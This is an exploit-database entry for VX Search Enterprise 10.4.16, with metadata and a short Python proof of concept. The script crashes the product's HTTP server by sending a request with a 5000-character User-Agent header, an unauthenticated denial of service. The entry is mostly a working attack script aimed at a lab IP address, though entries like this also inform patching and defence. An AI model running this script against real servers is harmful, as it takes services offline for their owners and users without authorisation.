VX Search Enterprise 10.4.16 - 'User-Agent' Denial of Service

Author: James Chamberlain
type: dos
platform: windows
port: nan
date_added: 2019-08-30 
date_updated: 2019-08-30 
verified: 0 
codes:  
tags: Denial of Service (DoS)
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: VX Search Enterprise v10.4.16 DoS
# Google Dork: N/A
# Date: 17.01.2018
# Exploit Author: James Chamberlain [chumb0]
# Vendor Homepage: http://www.vxsearch.com/downloads.html
# Software Link: http://www.vxsearch.com/setups/vxsearchent_setup_v10.4.16.exe
# Version: v10.4.16
# Tested on: Windows 7 Home x86
# CVE : N/A

# Have been unable to overwrite SEH/EIP, but the crash serves as an unauthenticated DoS.

# Replication - Large buffer sent in the majority of Request Headers. PoC attached. Server needs http enabling (non default)

 #!/usr/bin/python
import socket

pwnd = "A" * 5000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.50.133', 80))
buf = ""
buf += "GET / HTTP/1.1" + "\r\n"
buf += "Host: 192.168.50.133\r\n"
buf += "User-Agent: " + pwnd + "r\n"
buf += "\r\n\r\n"
s.send(buf)
s.close()